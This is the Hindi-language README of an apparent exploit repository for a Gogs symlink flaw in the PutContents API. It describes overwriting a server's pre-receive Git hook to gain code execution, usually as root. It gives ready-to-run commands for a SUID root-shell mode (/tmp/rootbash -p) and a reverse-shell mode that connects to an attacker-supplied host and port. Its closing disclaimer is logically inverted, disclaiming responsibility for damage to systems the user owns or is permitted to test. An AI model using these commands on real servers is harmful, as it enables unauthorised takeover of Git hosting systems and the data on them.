CVE-2025-81110-PoC

Gogs में PutContents API में अनुचित Symbolic link हैंडलिंग से कोड का स्थानीय निष्पादन संभव है।

इस रिपॉजिटरी में Gogs के 0.13.0 से पहले के संस्करणों में एक गंभीर कमज़ोरी के लिए पेशेवर-स्तर का एक्सप्लॉइट शामिल है। यह एक्सप्लॉइट एक तार्किक त्रुटि का लाभ उठाता है जहां Gogs API रिपॉजिटरी सामग्री अपडेट करते समय फ़ाइल प्रकारों को मान्य नहीं करता। एक प्रतीकात्मक लिंक (symbolic link) इंजेक्ट करके जो सर्वर-साइड Git हुक (pre-receive) की ओर इशारा करता है, एक प्रमाणित उपयोगकर्ता हुक की सामग्री को एक दुर्भावनापूर्ण स्क्रिप्ट से ओवरराइट कर सकता है। इसके बाद Git push संचालन इस स्क्रिप्ट को Gogs सेवा चलाने वाले उपयोगकर्ता (आमतौर पर root) के संदर्भ में निष्पादित करने के लिए ट्रिगर करते हैं।

Symlink इंजेक्शन: हमलावर एक प्रतीकात्मक लिंक को आंतरिक रिपॉजिटरी हुक (जैसे /root/gogs-repositories/<user>/<repo>.git/hooks/pre-receive) की ओर इंगित करते हुए पुश करता है।

API ओवरराइट: Gogs API प्रतीकात्मक लिंक की सामग्री अपडेट करने की अनुमति देता है। चूंकि ऑपरेटिंग सिस्टम लिखने के दौरान लिंक का अनुसरण करता है, आंतरिक Git हुक ओवरराइट हो जाता है।

RCE / विशेषाधिकार वृद्धि: एक फॉलो-अप Git push pre-receive हुक को ट्रिगर करता है। यदि Gogs को RUN_USER = root से कॉन्फ़िगर किया गया है, तो हमलावर को पूर्ण सिस्टम नियंत्रण प्राप्त होता है।

आवश्यकताएँ

• Python 3.x
• requests लाइब्रेरी
• हमलावर मशीन पर git कमांड-लाइन टूल इंस्टॉल होना चाहिए

उपयोग

SUID मोड

python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode suid

पूर्ण होने पर, लक्ष्य पर root एक्सेस प्राप्त करें:

/tmp/rootbash -p

REVSHELL

python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode rev --lhost <your_ip> --lport 4444

आर्गुमेंट संदर्भ

अस्वीकरण

यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा ऑडिटिंग के लिए है। लेखक उन सिस्टमों पर इस उपकरण के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति है।